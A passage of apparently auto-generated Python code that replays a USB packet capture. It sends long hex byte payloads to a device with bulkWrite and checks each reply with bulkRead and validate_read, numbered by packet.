b\"\\x1D\\x1C\\x83\\x0C\\x09\\x94\\x22\\xE6\\x7A\\xC4\\x16\\xD7\\xD0\\x3D\\x65\\xF9\"\n b\"\\x2D\\xC4\\x4F\\xC3\\x3A\\x4B\\x70\\xD3\\x75\\xBC\\x5F\\xDC\\xC8\\xA7\\x87\\x6A\"\n b\"\\x1B\\xC9\\x78\\x23\\x52\\x4D\\x6F\\xAC\\x53\\x77\\x28\\x0A\\x53\\xE1\\xF5\\xF2\"\n b\"\\xB7\\x15\\xC8\\x2D\\x1D\\xD0\\x1C\\x24\\xA5\\xC9\\x41\\x7E\\x76\\x5F\\xEE\\x3B\"\n b\"\\x8B\\xE4\\x3D\\x28\\x1C\\xF0\\x87\\x22\\x20\\xA6\\xD9\\x9A\\x40\\x93\\xFA\\x03\"\n b\"\\x0A\\x53\\x14\\x99\\x8E\\x9F\\x79\\x8C\\x19\\xB3\\x8F\\xA4\\x30\\x9B\\x7D\\x87\"\n b\"\\x18\\x31\\x8C\\x72\\x42\\x96\\x5F\\x60\\x8B\\x98\\x51\\x5C\")\n # Generated from packet 3391/3392\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3391/3392\")\n # Generated from packet 3393/3394\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\xFF\\x16\\x27\\x15\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEB\\xA4\\xA2\\xE4\\x1C\\xD8\\x90\\x78\"\n b\"\\x27\\xB3\\x46\\x58\\x9F\\x13\\x61\\x26\\xA4\\x41\\x15\\xCE\\xBE\\x34\\x77\\x51\"\n b\"\\xB6\\xFD\\x49\\x5E\\x99\\xED\\x69\\x56\\x73\\x36\\xA3\\x82\\x57\\x7D\\x7A\\x99\"\n b\"\\x96\\xAC\\xC8\\x74\\xFC\\x06\\xD6\\xD4\\x36\\x14\\x02\\x78\\x21\\xC8\\xEF\\x0D\"\n b\"\\x61\\x9C\\xCA\\xF7\\x73\\xCD\\x55\\xD2\\x07\\x7C\\x3E\\x76\\x8C\\xA5\\x60\\x5A\"\n b\"\\xF4\\x90\\xD7\\x19\\x4D\\x99\\x7F\\x5D\\xA1\\x7F\\x87\\x30\\x26\\xDE\\x12\\x25\"\n b\"\\xDF\\xE1\\xF3\\xFC\\xEF\\x10\\x9D\\x52\\x69\\x47\\x68\\x06\\xD2\\x4F\\x8A\\x51\"\n b\"\\x4C\\xD6\\x45\\xEE\\x8D\\x3F\\x57\\x7A\\x0A\\x33\\x8B\\xB2\\x5D\\x1E\\xBD\\x88\"\n b\"\\xBE\\x99\\xEE\\x0E\\x60\\x2C\\xB6\\x07\\x31\\x4A\\xA0\\x1E\\x4F\\xED\\x29\\x3D\"\n b\"\\xEB\\x4B\\x6B\\x66\\x83\\x8E\\x82\\xAE\\x26\\xB4\\x5C\\x64\\x7C\\x22\\x1B\\x8D\"\n b\"\\x00\\x53\\xED\\xB3\\xCD\\x1C\\x7C\\xEB\\x51\\x0F\\x0D\\x53\\x7D\\x05\\x34\\x84\"\n b\"\\x3A\\x77\\x4C\\x78\\xB1\\x49\\x6D\\xC4\\x5F\\xC3\\xEF\\x32\\xD0\\xAA\\x5A\\xF2\"\n b\"\\x3E\\x86\\x2B\\xBE\\xFA\\x35\\x33\\x83\\xAE\\x21\\xBB\\x22\\x44\\x52\\xEB\\x16\"\n b\"\\x75\\xF8\\x12\\x65\\x5B\\x05\\xEB\\x4F\\x61\\x12\\x64\\x70\\x71\\x5D\\x93\\x5F\"\n b\"\\x7E\\xE0\\x88\\x87\\xC8\\x33\\xE6\\x78\\x81\\x7A\\x62\\x6F\\x0E\\x7B\\x58\\x28\"\n b\"\\xA8\\x7B\\xCE\\xF5\\x50\\x9F\\x3A\\xC8\\x8F\\x35\\xFF\\x1C\\x86\\x8D\\xE6\\x41\"\n b\"\\xDC\\x5E\\x70\\xEE\\x99\\xA3\\xCB\\x3D\\x8A\\x34\\xDF\\x87\")\n # Generated from packet 3395/3396\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3395/3396\")\n # Generated from packet 3397/3398\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3E\\x4D\\x3D\\x4B\\x18\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\x40\\x93\\x3A\\x3F\\xCC\\x2A\\xFC\"\n b\"\\x6E\\xEB\\x7D\\xB2\\x13\\x59\\xFE\\xE2\\xEF\\x0D\\xAD\\xE3\\x24\\x83\\x82\\x28\"\n b\"\\x4C\\x48\\xE5\\x04\\x74\\x4B\\x0B\\xDE\\x8B\\x14\\x62\\x9E\\x97\\x14\\x30\\x8B\"\n b\"\\xF9\\xCB\\x8D\\x77\\x5F\\x7B\\x0E\\xD1\\x4A\\x7B\\xC2\\xE5\\xBD\\x77\\x90\\x78\"\n b\"\\x86\\x1C\\x46\\x58\\x3E\\xBC\\x61\\x26\\x05\\xEE\\x15\\xCE\\x1F\\x9B\\x77\\x51\"\n b\"\\x17\\x52\\x49\\x5E\\x38\\x42\\x69\\x56\\xD2\\x99\\xA3\\x82\\xF6\\xD2\\x7A\\x99\"\n b\"\\x37\\x03\\xC8\\x74\\x5D\\xA9\\xD6\\xD4\\x97\\xBB\\x02\\x78\\x80\\x67\\xEF\\x0D\"\n b\"\\xC0\\x33\\xCA\\xF7\\xD2\\x62\\x55\\xD2\\xA6\\xD3\\x3E\\x76\\x2D\\x0A\\x60\\x5A\"\n b\"\\x55\\x3F\\xD7\\x19\\xEC\\x36\\x7F\\x5D\\x00\\xD0\\x87\\x30\\x87\\x71\\x12\\x25\"\n b\"\\x7E\\x4E\\xF3\\xFC\\x4E\\xBF\\x9D\\x52\\xC8\\xE8\\x68\\x06\\x73\\xE0\\x8A\\x51\"\n b\"\\xED\\x79\\x45\\xEE\\x2C\\x90\\x57\\x7A\\xAB\\x9C\\x8B\\xB2\\xFC\\xB1\\xBD\\x88\"\n b\"\\x1F\\x36\\xEE\\x0E\\xC1\\x83\\xB6\\x07\\x90\\xE5\\xA0\\x1E\\xEE\\x42\\x29\\x3D\"\n b\"\\x4A\\xE4\\x6B\\x66\\x22\\x21\\x82\\xAE\\x87\\x1B\\x5C\\x64\\xDD\\x8D\\x1B\\x8D\"\n b\"\\xA1\\xFC\\xED\\xB3\\x6C\\xB3\\x7C\\xEB\\xF0\\xA0\\x0D\\x53\\xDC\\xAA\\x34\\x84\"\n b\"\\x9B\\xD8\\x4C\\x78\\x10\\xE6\\x6D\\xC4\\xFE\\x6C\\xEF\\x32\\x71\\x05\\x5A\\xF2\"\n b\"\\x9F\\x29\\x2B\\xBE\\x5B\\x9A\\x33\\x83\\x0F\\x8E\\xBB\\x22\\xE5\\xFD\\xEB\\x16\"\n b\"\\xD4\\x57\\x12\\x65\\xFA\\xAA\\xEB\\x4F\\xC0\\xBD\\x64\\x70\")\n # Generated from packet 3399/3400\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3399/3400\")\n # Generated from packet 3401/3402\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF0\\x1D\\x33\\x5F\\x98\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA1\\x46\\x75\\xBC\\x9B\\x15\\x92\\xEE\"\n b\"\\x1D\\xCB\\x27\\xB6\\x14\\x9A\\x41\\xA0\\x0D\\xE4\\xE6\\x29\\x2E\\x40\\x40\\x6B\"\n b\"\\x75\\x28\\x85\\x82\\xBD\\x8D\\xBF\\x5C\\x77\\xD7\\x29\\x1B\\x9E\\xAB\\x58\\xED\"\n b\"\\xA0\\x66\\x17\\x7C\\xF8\\xFA\\x04\\x0D\\x40\\xD6\\x0E\\x34\\x97\\x91\\x7C\\x4C\"\n b\"\\x6B\\x1A\\x42\\x6D\\xD7\\xF4\\xC8\\xEF\\x21\\x7B\\xA1\\x5A\\xE1\\x95\\x8D\\x2B\"\n b\"\\xAD\\x51\\x3E\\x33\\x90\\x05\\x2A\\xBB\\x31\\xEF\\x59\\xEB\\x05\\xDE\\xF3\\x12\"\n b\"\\x76\\xF0\\x0E\\xEB\\x5C\\xCA\\x19\\x64\\x63\\xDA\\x56\\x93\\x4C\\xD5\\xEB\\x88\"\n b\"\\x94\\x63\\x38\\xE6\\x6B\\x2A\\x71\\x62\\x7C\\xA5\\x70\\x58\\x3B\\x03\\x70\\xCE\"\n b\"\\xE6\\xFB\\x94\\x3A\\xDB\\x24\\x3E\\xFF\\x0F\\x2D\\x86\\xE6\\x52\\x77\\x55\\x70\"\n b\"\\xFD\\x32\\xA8\\xCB\\x2E\\x21\\x3F\\xDF\\x94\\x2B\\x03\\x89\\xCA\\x93\\x63\\xBC\"\n b\"\\xE9\\x0A\\x29\\x7C\\x07\\x90\\xAD\\xB0\\x6A\\x85\\x3A\\x9C\\x9C\\xAD\\x13\\xB4\"\n b\"\\x6E\\x8E\\x3B\\x1E\\x9F\\x7B\\x61\\xB9\\x4C\\x69\\xA8\\xB7\\x42\\x55\\xA6\\xFD\"\n b\"\\xBF\\xBE\\xA7\\xBE\\xA8\\xA6\\x25\\xCC\\x26\\x17\\xA0\\x64\\xBB\\xB3\\x17\\xAF\"\n b\"\\xB0\\xBD\\x83\\xA1\\x1A\\xE9\\x6D\\x5E\\x40\\xA1\\xE0\\x03\\x8E\\xA3\\xDB\\x7C\"\n b\"\\xF8\\xCC\\xB3\\x15\\x01\\xD7\\x4A\\x52\\x17\\xF8\\xD1\\xD6\\x20\\x9A\\x9A\\x63\"\n b\"\\x49\\x86\\x5D\\xE2\\x4E\\xF3\\x01\\xA3\\x1B\\xEA\\x93\\x93\\xE7\\x81\\x6C\\x8A\"\n b\"\\x52\\x63\\xD8\\xDB\\x01\\x37\\xAA\\x67\\xB1\\x40\\x0D\\xD3\")\n # Generated from packet 3403/3404\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3403/3404\")\n # Generated from packet 3405/3406\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA2\\xEC\\x21\\x63\\x2B\\x25\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\x53\\x47\\x83\\x4D\\xEB\\xEC\\xE5\"\n b\"\\x61\\xD3\\xEF\\x0B\\xBB\\x2C\\xB0\\x62\\xFB\\x30\\xB0\\x30\\xEE\\x5E\\x6F\\x8D\"\n b\"\\x12\\xF8\\xDF\\x0E\\xB4\\xED\\xDF\\xC2\\x80\\x1A\\xD3\\x90\\x1D\\x21\\xB8\\x46\"\n b\"\\x3D\\x99\\x18\\x61\\x43\\xA2\\x4A\\x15\\xAB\\xB8\\x3F\\x77\\x34\\xB0\\xF6\\x49\"\n b\"\\x3B\\x9F\\xE6\\x69\\x33\\x75\\x3D\\xA3\\xE7\\x51\\x76\\x7A\\xFC\\x90\\xA7\\xC8\"\n b\"\\x11\\xFA\\x0D\\xD6\\xB1\\x30\\x1F\\x02\\x1D\\x27\\xC3\\xEF\\x68\\x67\\x97\\xCA\"\n b\"\\x92\\x75\\xC6\\x55\\xB7\\x01\\x77\\x3E\\x13\\x8A\\xAE\\x60\\x3F\\xF2\\x9B\\xD7\"\n b\"\\x7C\\x4B\\x92\\x7F\\x38\\xA7\\x74\\x87\\x55\\x20\\xD5\\x12\\x40\\xD9\\xEA\\xF3\"\n b\"\\x99\\xE9\\x1B\\x9D\\x37\\x6F\\x4C\\x68\\x63\\xD4\\x44\\x8A\\x34\\x4A\\xDD\\x45\"\n b\"\\x8B\\x8B\\x34\\x57\\x1F\\x0C\\x38\\x8B\\xD7\\x5B\\x15\\xBD\\xED\\xB8\\x92\\xEE\"\n b\"\\x6B\\x66\\x27\\xB6\\x62\\x37\\x41\\xA0\\x7B\\x49\\xE6\\x29\\x58\\xED\\x40\\x6B\"\n b\"\\x03\\x85\\x85\\x82\\xCB\\x20\\xBF\\x5C\\x01\\x7A\\x29\\x1B\\xE8\\x06\\x58\\xED\"\n b\"\\xD6\\xCB\\x17\\x7C\\x8E\\x57\\x04\\x0D\\x36\\x7B\\x0E\\x34\\xE1\\x3C\\x7C\\x4C\"\n b\"\\x1D\\xB7\\x42\\x6D\\xA1\\x59\\xC8\\xEF\\x57\\xD6\\xA1\\x5A\\x97\\x38\\x8D\\x2B\"\n b\"\\xDB\\xFC\\x3E\\x33\\xE6\\xA8\\x2A\\xBB\\x47\\x42\\x59\\xEB\\x73\\x73\\xF3\\x12\"\n b\"\\x00\\x5D\\x0E\\xEB\\x2A\\x67\\x19\\x64\\x15\\x77\\x56\\x93\\x3A\\x78\\xEB\\x88\"\n b\"\\xE2\\xCE\\x38\\xE6\\x1D\\x87\\x71\\x62\\x0A\\x08\\x70\\x58\")\n # Generated from packet 3407/3408\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3407/3408\")\n # Generated from packet 3409/3410\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6C\\xBC\\x2F\\x77\\x2C\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x56\\xA8\\x18\\x84\\x3D\\x8E\\x58\\x3D\"\n b\"\\x9D\\xA9\\x26\\x06\\xCF\\xDD\\xCE\\x1C\\xBA\\xBF\\x51\\x14\\x73\\x81\\x5E\\x3B\"\n b\"\\x63\\xA1\\x56\\xD1\\xB8\\x6B\\x82\\xF5\\xF3\\xB2\\x99\\x34\\x22\\x00\\x74\\x5E\"\n b\"\\x88\\x1E\\xD4\\x94\\x9A\\xCA\\x78\\x83\\x46\\x27\\x0D\\xC3\\x12\\x02\\xF7\\xD1\"\n b\"\\x43\\x9D\\xD2\\xA5\\xF2\\xF6\\x76\\x2E\\x2B\\xA8\\x5A\\x56\\x1E\\x1F\\x19\\xEF\"\n b\"\\x17\\xB7\\x5D\\x03\\xF1\\x4F\\x30\\x84\\x50\\xDA\\x25\\x7D\\x6F\\x3B\\xFC\\x4D\"\n b\"\\x9E\\x55\\x52\\xCB\\xC9\\xA0\\x06\\x70\\xC1\\x42\\x51\\xEE\\x58\\x8D\\xEE\\x2F\"\n b\"\\xB1\\x9F\\x7A\\xA8\\xBD\\x43\\xB2\\xFF\\x90\\x75\\x88\\x1C\\x17\\x26\\x0E\\xC2\"\n b\"\\xA2\\x7E\\x07\\x93\\xC4\\x68\\x1E\\xED\\x63\\xE1\\x3D\\x49\\xC5\\xA3\\x66\\x21\"\n b\"\\x00\\x4A\\xAE\\x84\\x3A\\x94\\x64\\xDE\\xAC\\xD3\\x8D\\xA2\\xDD\\x25\\xB3\\x6F\"\n b\"\\x92\\xB4\\xEB\\xF3\\x81\\xC5\\x53\\xDF\\x8B\\xFC\\x84\\x98\\xF9\\x84\\x78\\x13\"\n b\"\\xC7\\xA5\\xC4\\xFD\\x4D\\x27\\x32\\x72\\x24\\x92\\xF2\\x9C\\x08\\xE3\\xBE\\x58\"\n b\"\\xBB\\xFB\\x83\\x0C\\xAF\\x73\\x22\\xE6\\xDC\\x23\\x16\\xD7\\x76\\xDA\\x65\\xF9\"\n b\"\\x8B\\x23\\x4F\\xC3\\x9C\\xAC\\x70\\xD3\\xD3\\x5B\\x5F\\xDC\\x6E\\x40\\x87\\x6A\"\n b\"\\xBD\\x2E\\x78\\x23\\xF4\\xAA\\x6F\\xAC\\xF5\\x90\\x28\\x0A\\xF5\\x06\\xF5\\xF2\"\n b\"\\x11\\xF2\\xC8\\x2D\\xBB\\x37\\x1C\\x24\\x03\\x2E\\x41\\x7E\\xD0\\xB8\\xEE\\x3B\"\n b\"\\x2D\\x03\\x3D\\x28\\xBA\\x17\\x87\\x22\\x86\\x41\\xD9\\x9A\")\n # Generated from packet 3411/3412\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3411/3412\")\n # Generated from packet 3413/3414\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x76\\x88\\x76\\xBB\\x2E\\x5B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFE\\x9C\\x09\\x57\\x14\\x56\\xA3\\x82\"\n b\"\\x30\\x1D\\x7A\\x99\\xF1\\xCC\\xC8\\x74\\x9B\\x66\\xD6\\xD4\\x51\\x74\\x02\\x78\"\n b\"\\x46\\xA8\\xEF\\x0D\\x06\\xFC\\xCA\\xF7\\x14\\xAD\\x55\\xD2\\x60\\x1C\\x3E\\x76\"\n b\"\\xEB\\xC5\\x60\\x5A\\x93\\xF0\\xD7\\x19\\x2A\\xF9\\x7F\\x5D\\xC6\\x1F\\x87\\x30\"\n b\"\\x41\\xBE\\x12\\x25\\xB8\\x81\\xF3\\xFC\\x88\\x70\\x9D\\x52\\x0E\\x27\\x68\\x06\"\n b\"\\xB5\\x2F\\x8A\\x51\\x2B\\xB6\\x45\\xEE\\xEA\\x5F\\x57\\x7A\\x6D\\x53\\x8B\\xB2\"\n b\"\\x3A\\x7E\\xBD\\x88\\xD9\\xF9\\xEE\\x0E\\x07\\x4C\\xB6\\x07\\x56\\x2A\\xA0\\x1E\"\n b\"\\x28\\x8D\\x29\\x3D\\x8C\\x2B\\x6B\\x66\\xE4\\xEE\\x82\\xAE\\x41\\xD4\\x5C\\x64\"\n b\"\\x1B\\x42\\x1B\\x8D\\x67\\x33\\xED\\xB3\\xAA\\x7C\\x7C\\xEB\\x36\\x6F\\x0D\\x53\"\n b\"\\x1A\\x65\\x34\\x84\\x5D\\x17\\x4C\\x78\\xD6\\x29\\x6D\\xC4\\x38\\xA3\\xEF\\x32\"\n b\"\\xB7\\xCA\\x5A\\xF2\\x59\\xE6\\x2B\\xBE\\x9D\\x55\\x33\\x83\\xC9\\x41\\xBB\\x22\"\n b\"\\x23\\x32\\xEB\\x16\\x12\\x98\\x12\\x65\\x3C\\x65\\xEB\\x4F\\x06\\x72\\x64\\x70\"\n b\"\\x16\\x3D\\x93\\x5F\\x19\\x80\\x88\\x87\\xAF\\x53\\xE6\\x78\\xE6\\x1A\\x62\\x6F\"\n b\"\\x69\\x1B\\x58\\x28\\xCF\\x1B\\xCE\\xF5\\x37\\xFF\\x3A\\xC8\\xE8\\x55\\xFF\\x1C\"\n b\"\\xE1\\xED\\xE6\\x41\\xBB\\x3E\\x70\\xEE\\xFE\\xC3\\xCB\\x3D\\xED\\x54\\xDF\\x87\"\n b\"\\xE7\\x68\\x89\\xD9\\x5F\\x08\\xBC\\xFA\\xC6\\x42\\x7C\\x14\\x5C\\xC6\\xB0\\x79\"\n b\"\\x49\\x51\\x9C\\x8F\\x61\\x78\\xB4\\x7D\\x42\\x50\\x1E\\x8C\")\n # Generated from packet 3415/3416\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3415/3416\")\n # Generated from packet 3417/3418\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB8\\xD8\\x78\\xAF\\x8B\\x1F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\x87\\xB2\\xA4\\x06\\xDD\\x76\\x2E\"\n b\"\\xDF\\x83\\x5A\\x56\\xEA\\x34\\x19\\xEF\\xE3\\x9C\\x5D\\x03\\x05\\x64\\x30\\x84\"\n b\"\\xA4\\xF1\\x25\\x7D\\x9B\\x10\\xFC\\x4D\\x6A\\x7E\\x52\\xCB\\x3D\\x8B\\x06\\x70\"\n b\"\\x35\\x69\\x51\\xEE\\xAC\\xA6\\xEE\\x2F\\x45\\xB4\\x7A\\xA8\\x49\\x68\\xB2\\xFF\"\n b\"\\x64\\x5E\\x88\\x1C\\xE3\\x0D\\x0E\\xC2\\x56\\x55\\x07\\x93\\x30\\x43\\x1E\\xED\"\n b\"\\x97\\xCA\\x3D\\x49\\x31\\x88\\x66\\x21\\xF4\\x61\\xAE\\x84\\xCE\\xBF\\x64\\xDE\"\n b\"\\x58\\xF8\\x8D\\xA2\\x29\\x0E\\xB3\\x6F\\x66\\x9F\\xEB\\xF3\\x75\\xEE\\x53\\xDF\"\n b\"\\x7F\\xD7\\x84\\x98\\x0D\\xAF\\x78\\x13\\x33\\x8E\\xC4\\xFD\\xB9\\x0C\\x32\\x72\"\n b\"\\xD0\\xB9\\xF2\\x9C\\xFC\\xC8\\xBE\\x58\\x4F\\xD0\\x83\\x0C\\x5B\\x58\\x22\\xE6\"\n b\"\\x28\\x08\\x16\\xD7\\x82\\xF1\\x65\\xF9\\x7F\\x08\\x4F\\xC3\\x68\\x87\\x70\\xD3\"\n b\"\\x27\\x70\\x5F\\xDC\\x9A\\x6B\\x87\\x6A\\x49\\x05\\x78\\x23\\x00\\x81\\x6F\\xAC\"\n b\"\\x01\\xBB\\x28\\x0A\\x01\\x2D\\xF5\\xF2\\xE5\\xD9\\xC8\\x2D\\x4F\\x1C\\x1C\\x24\"\n b\"\\xF7\\x05\\x41\\x7E\\x24\\x93\\xEE\\x3B\\xD9\\x28\\x3D\\x28\\x4E\\x3C\\x87\\x22\"\n b\"\\x72\\x6A\\xD9\\x9A\\x12\\x5F\\xFA\\x03\\x58\\x9F\\x14\\x99\\xDC\\x53\\x79\\x8C\"\n b\"\\x4B\\x7F\\x8F\\xA4\\x62\\x57\\x7D\\x87\\x4A\\xFD\\x8C\\x72\\x10\\x5A\\x5F\\x60\"\n b\"\\xD9\\x54\\x51\\x5C\\xD7\\x1E\\xAC\\xB7\\xD6\\x5D\\xBB\\xAF\\x54\\x2F\\x35\\x1E\"\n b\"\\xD1\\x87\\xA8\\xBA\\x66\\x4C\\xA3\\xB4\\xF2\\x42\\x09\\xE0\")\n # Generated from packet 3419/3420\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3419/3420\")\n # Generated from packet 3421/3422\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEA\\x29\\x6A\\x93\\xF9\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4B\\x0A\\x5B\\x3D\\x57\\x82\\xFC\\x6D\"\n b\"\\x70\\xD5\\xB2\\x10\\xC2\\x56\\xE2\\xEC\\x96\\x05\\xE3\\x27\\x18\\x2A\\x28\\x4F\"\n b\"\\xD3\\x4D\\x04\\x77\\xD0\\xA3\\xDE\\x88\\x8F\\xCA\\x9E\\x94\\x8F\\x98\\x8B\\xFA\"\n b\"\\x50\\x25\\x77\\x5C\\xE0\\xA6\\xD1\\x49\\xE0\\x6A\\xE5\\xBE\\xEC\\x38\\x78\\x85\"\n b\"\\x87\\xEE\\x58\\x3D\\x27\\xC9\\x26\\x06\\x75\\xBD\\xCE\\x1C\\x00\\xDF\\x51\\x14\"\n b\"\\xC9\\xE1\\x5E\\x3B\\xD9\\xC1\\x56\\xD1\\x02\\x0B\\x82\\xF5\\x49\\xD2\\x99\\x34\"\n b\"\\x98\\x60\\x74\\x5E\\x32\\x7E\\xD4\\x94\\x20\\xAA\\x78\\x83\\xFC\\x47\\x0D\\xC3\"\n b\"\\xA8\\x62\\xF7\\xD1\\xF9\\xFD\\xD2\\xA5\\x48\\x96\\x76\\x2E\\x91\\xC8\\x5A\\x56\"\n b\"\\xA4\\x7F\\x19\\xEF\\xAD\\xD7\\x5D\\x03\\x4B\\x2F\\x30\\x84\\xEA\\xBA\\x25\\x7D\"\n b\"\\xD5\\x5B\\xFC\\x4D\\x24\\x35\\x52\\xCB\\x73\\xC0\\x06\\x70\\x7B\\x22\\x51\\xEE\"\n b\"\\xE2\\xED\\xEE\\x2F\\x0B\\xFF\\x7A\\xA8\\x07\\x23\\xB2\\xFF\\x2A\\x15\\x88\\x1C\"\n b\"\\xAD\\x46\\x0E\\xC2\\x18\\x1E\\x07\\x93\\x7E\\x08\\x1E\\xED\\xD9\\x81\\x3D\\x49\"\n b\"\\x7F\\xC3\\x66\\x21\\xBA\\x2A\\xAE\\x84\\x80\\xF4\\x64\\xDE\\x16\\xB3\\x8D\\xA2\"\n b\"\\x67\\x45\\xB3\\x6F\\x28\\xD4\\xEB\\xF3\\x3B\\xA5\\x53\\xDF\\x31\\x9C\\x84\\x98\"\n b\"\\x43\\xE4\\x78\\x13\\x7D\\xC5\\xC4\\xFD\\xF7\\x47\\x32\\x72\\x9E\\xF2\\xF2\\x9C\"\n b\"\\xB2\\x83\\xBE\\x58\\x01\\x9B\\x83\\x0C\\x15\\x13\\x22\\xE6\\x66\\x43\\x16\\xD7\"\n b\"\\xCC\\xBA\\x65\\xF9\\x31\\x43\\x4F\\xC3\\x26\\xCC\\x70\\xD3\")\n # Generated from packet 3423/3424\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3423/3424\")\n # Generated from packet 3425/3426\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x24\\x79\\x64\\x87\\x0E\\x3F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2D\\x3F\\xCD\\xE2\\xE6\\xC0\\x82\\x28\"\n b\"\\x8E\\x0B\\xE5\\x04\\xB6\\x08\\x0B\\xDE\\x49\\x57\\x62\\x9E\\x55\\x57\\x30\\x8B\"\n b\"\\x3B\\x88\\x8D\\x77\\x9D\\x38\\x0E\\xD1\\x88\\x38\\xC2\\xE5\\x7F\\x34\\x90\\x78\"\n b\"\\x44\\x5F\\x46\\x58\\xFC\\xFF\\x61\\x26\\xC7\\xAD\\x15\\xCE\\xDD\\xD8\\x77\\x51\"\n b\"\\xD5\\x11\\x49\\x5E\\xFA\\x01\\x69\\x56\\x10\\xDA\\xA3\\x82\\x34\\x91\\x7A\\x99\"\n b\"\\xF5\\x40\\xC8\\x74\\x9F\\xEA\\xD6\\xD4\\x55\\xF8\\x02\\x78\\x42\\x24\\xEF\\x0D\"\n b\"\\x02\\x70\\xCA\\xF7\\x10\\x21\\x55\\xD2\\x64\\x90\\x3E\\x76\\xEF\\x49\\x60\\x5A\"\n b\"\\x97\\x7C\\xD7\\x19\\x2E\\x75\\x7F\\x5D\\xC2\\x93\\x87\\x30\\x45\\x32\\x12\\x25\"\n b\"\\xBC\\x0D\\xF3\\xFC\\x8C\\xFC\\x9D\\x52\\x0A\\xAB\\x68\\x06\\xB1\\xA3\\x8A\\x51\"\n b\"\\x2F\\x3A\\x45\\xEE\\xEE\\xD3\\x57\\x7A\\x69\\xDF\\x8B\\xB2\\x3E\\xF2\\xBD\\x88\"\n b\"\\xDD\\x75\\xEE\\x0E\\x03\\xC0\\xB6\\x07\\x52\\xA6\\xA0\\x1E\\x2C\\x01\\x29\\x3D\"\n b\"\\x88\\xA7\\x6B\\x66\\xE0\\x62\\x82\\xAE\\x45\\x58\\x5C\\x64\\x1F\\xCE\\x1B\\x8D\"\n b\"\\x63\\xBF\\xED\\xB3\\xAE\\xF0\\x7C\\xEB\\x32\\xE3\\x0D\\x53\\x1E\\xE9\\x34\\x84\"\n b\"\\x59\\x9B\\x4C\\x78\\xD2\\xA5\\x6D\\xC4\\x3C\\x2F\\xEF\\x32\\xB3\\x46\\x5A\\xF2\"\n b\"\\x5D\\x6A\\x2B\\xBE\\x99\\xD9\\x33\\x83\\xCD\\xCD\\xBB\\x22\\x27\\xBE\\xEB\\x16\"\n b\"\\x16\\x14\\x12\\x65\\x38\\xE9\\xEB\\x4F\\x02\\xFE\\x64\\x70\\x12\\xB1\\x93\\x5F\"\n b\"\\x1D\\x0C\\x88\\x87\\xAB\\xDF\\xE6\\x78\\xE2\\x96\\x62\\x6F\")\n # Generated from packet 3427/3428\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3427/3428\")\n # Generated from packet 3429/3430\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4E\\xCB\\x4F\\xEB\\xDC\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD4\\x52\\x85\\x05\\xEC\\xC0\\x0B\\xDE\"\n b\"\\x13\\x9F\\x62\\x9E\\x0F\\x9F\\x30\\x8B\\x61\\x40\\x8D\\x77\\xC7\\xF0\\x0E\\xD1\"\n b\"\\xD2\\xF0\\xC2\\xE5\\x25\\xFC\\x90\\x78\\x1E\\x97\\x46\\x58\\xA6\\x37\\x61\\x26\"\n b\"\\x9D\\x65\\x15\\xCE\\x87\\x10\\x77\\x51\\x8F\\xD9\\x49\\x5E\\xA0\\xC9\\x69\\x56\"\n b\"\\x4A\\x12\\xA3\\x82\\x6E\\x59\\x7A\\x99\\xAF\\x88\\xC8\\x74\\xC5\\x22\\xD6\\xD4\"\n 